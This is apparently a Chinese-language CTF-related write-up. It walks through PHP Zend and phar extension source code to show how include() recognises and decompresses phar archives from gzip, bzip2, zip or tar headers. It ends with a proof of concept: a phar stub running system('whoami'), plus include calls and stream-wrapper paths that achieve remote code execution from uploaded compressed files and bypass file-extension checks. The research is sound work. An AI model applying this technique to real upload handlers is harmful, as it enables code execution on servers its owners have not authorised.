Include底层逻辑

在调用include() 时会调用 Zend 引擎中的compile_filename(),根据文件路径(filename)将文件编译为 zend_op_array,并返回该操作数数组。文件路径的处理、是否已加载缓存、是否需要重新编译等都会由 compile_filename()` 来决定

zend_op_array *compile_filename(int type, zend_string *filename)
{
	zend_file_handle file_handle;
	zend_op_array *retval;
	zend_string *opened_path = NULL;

	zend_stream_init_filename_ex(&file_handle, filename);

	retval = zend_compile_file(&file_handle, type);
	if (retval && file_handle.handle.stream.handle) {
		if (!file_handle.opened_path) {
			file_handle.opened_path = opened_path = zend_string_copy(filename);
		}

		zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path);

		if (opened_path) {
			zend_string_release_ex(opened_path, 0);
		}
	}
	zend_destroy_file_handle(&file_handle);

	return retval;
}

zend_compile_file是一个函数指针,对于phar:

zend_compile_file = phar_compile_file;

phar_compile_file:

static zend_op_array *phar_compile_file(zend_file_handle *file_handle, int type) /* {{{ */
{
	zend_op_array *res;
	zend_string *name = NULL;
	int failed;
	phar_archive_data *phar;

	if (!file_handle || !file_handle->filename) {
		return phar_orig_compile_file(file_handle, type);
	}
	if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
		if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
			if (phar->is_zip || phar->is_tar) {
				zend_file_handle f;

				/* zip or tar-based phar */
				name = zend_strpprintf(4096, "phar://%s/%s", ZSTR_VAL(file_handle->filename), ".phar/stub.php");
				zend_stream_init_filename_ex(&f, name);
				if (SUCCESS == zend_stream_open_function(&f)) {
					zend_string_release(f.filename);
					f.filename = file_handle->filename;
					if (f.opened_path) {
						zend_string_release(f.opened_path);
					}
					f.opened_path = file_handle->opened_path;

					switch (file_handle->type) {
						case ZEND_HANDLE_STREAM:
							if (file_handle->handle.stream.closer && file_handle->handle.stream.handle) {
								file_handle->handle.stream.closer(file_handle->handle.stream.handle);
							}
							file_handle->handle.stream.handle = NULL;
							break;
						default:
							break;
					}
					*file_handle = f;
				}
			} else if (phar->flags & PHAR_FILE_COMPRESSION_MASK) {
				/* compressed phar */
				file_handle->type = ZEND_HANDLE_STREAM;
				/* we do our own reading directly from the phar, don't change the next line */
				file_handle->handle.stream.handle  = phar;
				file_handle->handle.stream.reader  = phar_zend_stream_reader;
				file_handle->handle.stream.closer  = NULL;
				file_handle->handle.stream.fsizer  = phar_zend_stream_fsizer;
				file_handle->handle.stream.isatty  = 0;
				phar->is_persistent ?
					php_stream_rewind(PHAR_G(cached_fp)[phar->phar_pos].fp) :
					php_stream_rewind(phar->fp);
			}
		}
	}

	zend_try {
		failed = 0;
		CG(zend_lineno) = 0;
		res = phar_orig_compile_file(file_handle, type);
	} zend_catch {
		failed = 1;
		res = NULL;
	} zend_end_try();

	if (name) {
		zend_string_release(name);
	}

	if (failed) {
		zend_bailout();
	}

	return res;
}
/* }}} */

只要文件名中包含.phar且不含://就会调用phar_open_from_filename:

int phar_open_from_filename(char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, char **error) /* {{{ */
{
	php_stream *fp;
	zend_string *actual;
	int ret, is_data = 0;

	if (error) {
		*error = NULL;
	}

	if (!strstr(fname, ".phar")) {
		is_data = 1;
	}

	if (phar_open_parsed_phar(fname, fname_len, alias, alias_len, is_data, options, pphar, error) == SUCCESS) {
		return SUCCESS;
	} else if (error && *error) {
		return FAILURE;
	}
	if (php_check_open_basedir(fname)) {
		return FAILURE;
	}

	fp = php_stream_open_wrapper(fname, "rb", IGNORE_URL|STREAM_MUST_SEEK, &actual);

	if (!fp) {
		if (options & REPORT_ERRORS) {
			if (error) {
				spprintf(error, 0, "unable to open phar for reading \"%s\"", fname);
			}
		}
		if (actual) {
			zend_string_release_ex(actual, 0);
		}
		return FAILURE;
	}

	if (actual) {
		fname = ZSTR_VAL(actual);
		fname_len = ZSTR_LEN(actual);
	}

	ret =  phar_open_from_fp(fp, fname, fname_len, alias, alias_len, options, pphar, is_data, error);

	if (actual) {
		zend_string_release_ex(actual, 0);
	}

	return ret;
}
/* }}}*/

phar_open_from_fp:

static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) /* {{{ */
{
	static const char token[] = "__HALT_COMPILER();";
	static const char zip_magic[] = "PK\x03\x04";
	static const char gz_magic[] = "\x1f\x8b\x08";
	static const char bz_magic[] = "BZh";
	char *pos, test = '\0';
	int recursion_count = 3; // arbitrary limit to avoid too deep or even infinite recursion
	const int window_size = 1024;
	char buffer[1024 + sizeof(token)]; /* a 1024 byte window + the size of the halt_compiler token (moving window) */
	const zend_long readsize = sizeof(buffer) - sizeof(token);
	const zend_long tokenlen = sizeof(token) - 1;
	zend_long halt_offset;
	size_t got;
	uint32_t compression = PHAR_FILE_COMPRESSED_NONE;

	if (error) {
		*error = NULL;
	}

	if (-1 == php_stream_rewind(fp)) {
		MAPPHAR_ALLOC_FAIL("cannot rewind phar \"%s\"")
	}

	buffer[sizeof(buffer)-1] = '\0';
	memset(buffer, 32, sizeof(token));
	halt_offset = 0;

	/* Maybe it's better to compile the file instead of just searching,  */
	/* but we only want the offset. So we want a .re scanner to find it. */
	while(!php_stream_eof(fp)) {
		if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
			MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
		}

		if (!test && recursion_count) {
			test = '\1';
			pos = buffer+tokenlen;
			if (!memcmp(pos, gz_magic, 3)) {
				char err = 0;
				php_stream_filter *filter;
				php_stream *temp;
				/* to properly decompress, we have to tell zlib to look for a zlib or gzip header */
				zval filterparams;

				if (!PHAR_G(has_zlib)) {
					MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file, enable zlib extension in php.ini")
				}
				array_init(&filterparams);
/* this is defined in zlib's zconf.h */
#ifndef MAX_WBITS
#define MAX_WBITS 15
#endif
				add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS + 32);

				/* entire file is gzip-compressed, uncompress to temporary file */
				if (!(temp = php_stream_fopen_tmpfile())) {
					MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of gzipped phar archive \"%s\"")
				}

				php_stream_rewind(fp);
				filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));

				if (!filter) {
					err = 1;
					add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS);
					filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
					zend_array_destroy(Z_ARR(filterparams));

					if (!filter) {
						php_stream_close(temp);
						MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
					}
				} else {
					zend_array_destroy(Z_ARR(filterparams));
				}

				php_stream_filter_append(&temp->writefilters, filter);

				if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
					php_stream_filter_remove(filter, 1);
					if (err) {
						php_stream_close(temp);
						MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
					}
					php_stream_close(temp);
					MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file")
				}

				php_stream_filter_flush(filter, 1);
				php_stream_filter_remove(filter, 1);
				php_stream_close(fp);
				fp = temp;
				php_stream_rewind(fp);
				compression = PHAR_FILE_COMPRESSED_GZ;

				/* now, start over */
				test = '\0';
				if (!--recursion_count) {
					MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\"");
					break;
				}
				continue;
			} else if (!memcmp(pos, bz_magic, 3)) {
				php_stream_filter *filter;
				php_stream *temp;

				if (!PHAR_G(has_bz2)) {
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file, enable bz2 extension in php.ini")
				}

				/* entire file is bzip-compressed, uncompress to temporary file */
				if (!(temp = php_stream_fopen_tmpfile())) {
					MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of bzipped phar archive \"%s\"")
				}

				php_stream_rewind(fp);
				filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp));

				if (!filter) {
					php_stream_close(temp);
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\", filter creation failed")
				}

				php_stream_filter_append(&temp->writefilters, filter);

				if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
					php_stream_filter_remove(filter, 1);
					php_stream_close(temp);
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file")
				}

				php_stream_filter_flush(filter, 1);
				php_stream_filter_remove(filter, 1);
				php_stream_close(fp);
				fp = temp;
				php_stream_rewind(fp);
				compression = PHAR_FILE_COMPRESSED_BZ2;

				/* now, start over */
				test = '\0';
				if (!--recursion_count) {
					MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\"");
					break;
				}
				continue;
			}

			if (!memcmp(pos, zip_magic, 4)) {
				php_stream_seek(fp, 0, SEEK_END);
				return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
			}

			if (got >= 512) {
				if (phar_is_tar(pos, fname)) {
					php_stream_rewind(fp);
					return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
				}
			}
		}

		if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
			halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
			return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
		}

		halt_offset += got;
		memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
	}

	MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (__HALT_COMPILER(); not found)")
}
/* }}} */

简单来说这个函数负责打开一个可能是 PHAR 的文件流,根据文件头来识别它的格式(PHAR、ZIP、TAR、GZ、BZ2),并进行相应的解压和解析,比如文件格式是GZ,就会先进行解压获取其中的phar文件,再进行解析

利用phar压缩包实现RCE

根据这个特性,可以实现上传不包含php代码的文件实现RCE,一个简单的poc:

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('whoami');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

tar和phar都有php明文代码,没必要专门打包一个tar文件,所以选择直接include这个phar文件或压缩文件都可以实现RCE,利用了.phar文件名实现了解压:

include("exploit.phar.gz");   // gzip exploit.phar
include("exploit.phar.bz2");  // bzip2 exploit.phar

比较奇怪为什么zip没有成功,只能用伪协议,当然gz和bzip2也能用伪协议:

include("zip://exploit.phar.zip#exploit.phar"); 
include("compress.zlib://exploit.phar.gz"); 
include("compress.bzip2://exploit.phar.bz2");

之前也提到是根据文件头来识别压缩文件的,所以说即使后缀不为.gz .bz2也是可以实现解压的,可以用于绕过后缀名的检验,只要文件是相应压缩包格式即可

参考资料:

https://fushuling.com/index.php/2025/07/30/%e5%bd%93include%e9%82%82%e9%80%85phar-deadsecctf2025-baby-web/